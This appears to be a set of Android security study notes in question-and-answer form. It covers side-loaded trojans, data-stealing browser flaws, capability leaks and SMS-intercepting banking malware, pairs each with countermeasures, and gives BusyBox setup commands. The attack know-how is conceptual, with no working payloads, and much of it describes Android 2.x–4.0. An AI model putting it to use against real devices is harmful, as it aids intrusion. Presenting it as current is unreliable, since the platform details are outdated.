- 💣 `URL-sourced Malware` (Side-load Applications): Android also allows the installation of applications through an alternative mechanism: the web browser. If the user opens a URL that is pointing to an Android application (apk files), the system downloads the file and ask the user if they want to install the app. This apk file can contain a Trojan file.
⛔ `Countermeasures`: Unselect "*Unknown Sources*" in Settings → Applications.
- 💣 `Skype Data Exposure`: Another method to hack Android devices is to attack vulnerabilities present in applications that are already installed on the device. One example of this type of attack is the vulnerable Android version of the Skype application (communication tool). The vulnerability exposed private data to any application or to anyone because files that store the data did not have proper permissions and the information was not encrypted.
⛔ `Countermeasures`: Keep applications updated.

Q: Can Linux security tools be ported to Android? Which tools? Write console commands.

A: One of the biggest attractions of Android is its Linux kernel. The fact that the operating system resides in a normal cross-compiled Linux kernel implies that **you can treat your Android device as a real Linux machine** by using commands shell via adb such as `ls`,

`chmod` or `cd`.
Another advantage of Linux is that there are already plenty of open source tools written in C or C++ available for the platform. If, however, you simply copied the executables from your PC to your peripheral, they would not work, because they were compiled for another architecture (presumably X86). So how were UNIX tools like BusyBox created? Using a cross compiler, which is capable of creating executable code for platforms other than (in this case ARM) from the one on which the compiler is running (in this case X86).

The main advantage of a cross compiler is that it allows you to write C code on your computer so that the device does what you want by executing code directly at the Linux kernel level. Additionally, you can download and compile open source tools and port them to Android for use as part of an attack.
Additionally, exploits for Android in C can be developed, such as **RageAgainstTheCage**, which are then cross-compiled to run on the ARM platform. Exploits targeting Linux kernel vulnerabilities can also be ported to Android and the ARM architecture by cross-compiling them.

- 🔧 `BusyBox` is a collection of UNIX tools that allows you to execute useful commands such as `tar`, `dd` and `wget` among others.
  The tool can be used by passing a command name as a parameter, for example: `./busybox tar`.
  However, the tool can also be installed in the system to create symbolic links for all the BusyBox utilities; we need to create the folder that is going to store all the tools inside BusyBox:

  ```
  adb shell
  su
  mkdir busybox
  exit
  ```

  Once the folder has been created, we can push the BusyBox binary, provide permissions for execution, and install the tools in that folder:

```
adb push busybox /data/busybox
adb shell
chmod 0755 /data/busybox/busybox
cd /data/busybox
./busybox --install
```

Finally, to make this feature useful, we put BusyBox in our path:

```
export PATH=<location>/busybox:$PATH
```

And now we can launch busybox commands as we do in a Linux environment. We can use also more juicy and insteresting commands, maybe the most useful ones are `tcpdump` and `nmap`.

Q: Data Stealing, Capability leaks, URL Malware

A:

- 💣 `Data Stealing Vulnerability`: Another type of attack that can be performed remotely is data stealing. This issue allows a malicious website to **steal data and files** stored in an SD card and in the device itself (assuming they can be accessed without root privileges). The exploit is basically a PHP file with embedded JavaScript.
  When the user visits the malicious web site and clicks the malicious link, the JavaScript payload is executed without prompting the user. This payload reads the contents of the files specified in the exploit and uploads them to the remote server. When the payload is downloaded, a notification is generated, giving the user an opportunity to notice the suspicious behavior. Also, the attacker must know the name and the full path of the file that is going to be extracted. This vulnerability affects Android 2.2 and previous versions, which means a wide range of devices are vulnerable, again due to the platform's fragmentation problem.
  ⛔ `Countermeasures`: Get the **latest version of Android** available for your device (the vulnerability was fixed in Android 2.3.4); **Install antivirus software** on the device to protect it against exploits and other malicious applications; Temporarily **disable JavaScript in the default Android web browser**; Use another third-party browser like Firefox or Opera; **Unmount the /sdcard partition** to protect the data

stored there so it is unavailable in case of an attack.

- 💣 `Exploiting Capability Leaks`: The original software on eight very popular Android devices contained applications that exposed many of their permissions to other applications, leaving the door open to their exploitation. These applications are installed, by default, by the manufacturer or by the telephone company. The technical term for this type of attack is **capability leak** and means that an application can access a permit without having to request it in the Android manifest. There are two types of capability leaks:
    - **Explicit**: They can be done by accessing interfaces or public services that have permissions that an untrusted application does not have. These “interfaces” are generally application entry points, that is an activity, a service, a receiver or a content provider. Sometimes that same interface can be invoked by an unauthorized application in order to perform a malicious action.
    - **Implicit**: When an untrusted application acquires the same permissions as a privileged application, because it shares the same signature key. Implicit leaks can occur when an optional attribute is defined in the Android manifest: “shareUserId”. If this is declared, it allows to share the same user identifier among all applications signed with the same digital certificate and, therefore, the same permissions are obtained.

  Both types of leaks were systematically searched for in the preloaded apps of eight popular Android devices. Some allowed untrusted applications to access very dangerous and sensitive permissions such as `SEND_SMS`, `RECORD_AUDIO`, `INSTALL_PACKAGES`, `CALL_PHONE`, `CAMERA` and `MASTER_CLEAR` among others. After the analysis, the result was that, of the 13 privileges analyzed, 11 were vulnerable.
  ⛔ `Countermeasures` to capability leaks: In perfect analogy with the discussion on the previous exploit, the countermeasures for this vulnerability are not within the reach of the user, because the applications define their permissions. You can protect yourself in some way by carefully searching for the applications to be installed and verifying the authors and reviews of other users, avoiding suspicious applications. Anti-malware software can help too.
- 💣 `URL Malware`: The traditional method of distributing an Android application is publishing it on the official Android Market or other alternative markets. Android also allows you to install applications with an alternative mechanism: from the web

browser. If the user opens a URL that points to an Android application (*.apk* file), the system downloads the file and asks the user if he wants to install it (the permissions required by the application are displayed). This method was used in **ZeuS** and **SpyEye**, two well-known banking-type Trojans, on traditional computers. The malware injects a malicious frame into the computer's web browser and, once the initial credentials have been stolen, displays a page that encourages the user to click on a URL that points to an apk file containing a Trojan. The application indicates that it is for “security reasons” but, in practice, it intercepts all received SMS and forwards them to a remote server. This exploit aims to intercept SMS where banks send one-time PINs as a second authentication factor.
Once the user installs the application, the malware obtains the credentials to access via the Web and by intercepting the SMS is able to transfer large amounts of money to other current accounts. This feature also has legitimate users, for example installing applications that cannot be hosted on the Android Market.
⛔ `Countermeasures` on URL Malware: Android has a mechanism to **avoid installation from unknown sources**. To enable it, you need to open the application settings menu and deselect the option for unknown sources. If an application file (*.apk*) is downloaded through the browser, the installation is blocked and a security alert is displayed. However, some telephony carriers disable this feature by default and it cannot be re-enabled except with root rights.

Q: Four Android (>=3.0) security measures and if there are known exploits.

A: Checklist of security countermeasures for Android:

- **Keep your peripheral physically safe**: As many of the attacks have shown, it is practically impossible to protect a device from an attacker who has physical access to the Android device (this is true for every resource information technology, however).
- **Lock your device**: Depending on the version of Android you are using, the system provides different blocking modes to avoid unauthorized physical access. The easiest way is the **four-digit PIN**, which is not very secure because it can be seen by a passer-by.
  The next level is the **use of a password** (no longer than 16 characters) which can

contain numbers, letters and symbols.
Another innovative way to lock the device is to **draw a figure on the screen**. Android allows you to make your drawing invisible as you trace it. Remember that the constant pressure of the PIN or the repeated drawing of the unlock figure, sometimes leaves traces on the surface of the device, which can be easily visualized with the right angle of light.
Finally, the latest version of Android – 4.x (Ice Cream Sandwich) - introduced the **Face Unlock mechanism**, which allows you to unlock the device using facial recognition after configuring with a photo via the front camera of the device.

- **Avoid installing applications from unknown sources/developers**: While it is well known that malicious applications have also been discovered in the official Android Market, certainly most of the mobile malware today comes from alternative application markets, mostly located in China and Russia. In addition to reviews and ratings from other users, the official Android Market has an additional security layer provided by Google Bouncer, which is a system that automatically checks the Android Market for malicious programs. According to Google, the system and the security companies working to protect it are already performing well, equivalent to a 40% reduction in malicious applications on the market. For this reason, we recommend **disabling the Unknown Sources option** from Settings → Applications; activate it to the limit only when you absolutely need it.
- **Installation of security software**: Since their inception, security software for mobile devices has not limited itself to detecting malware, but also to protecting the data stored on the devices in case of loss or theft. Some features include online backup of private information (contacts, SMS messages, call details, photos and videos); total cancellation, remote blocking and GPS tracking through a user interface; blocking incoming and outgoing calls and SMS messages (for example, to prevent a malicious application send SMS or call premium rate numbers without the user's consent); web protection for safe browsing on Android, and app protection to review the permissions of suspicious ones that require them in excess of their intended use.
In addition to these extra protections, the installation of an antivirus it is always recommended to protect the device from malicious applications or exploits.
- **Activate total internal encryption of the storage area**: Starting with version 3.0 of Android (therefore even more so in Android 4.0, Ice Cream Sandwich), full **file system encryption functionality** is available, both in tablets and smartphones.

The encryption mechanism prevents unauthorized access to the data stored in the device in case of loss or theft. To enable it in Android 4.0 go to Settings → Location & Security → Data encryption.

- **Update to the latest available version of Android**: However, due to Android fragmentation, updates may not always be available for your specific device, leaving you with an older version of the OS.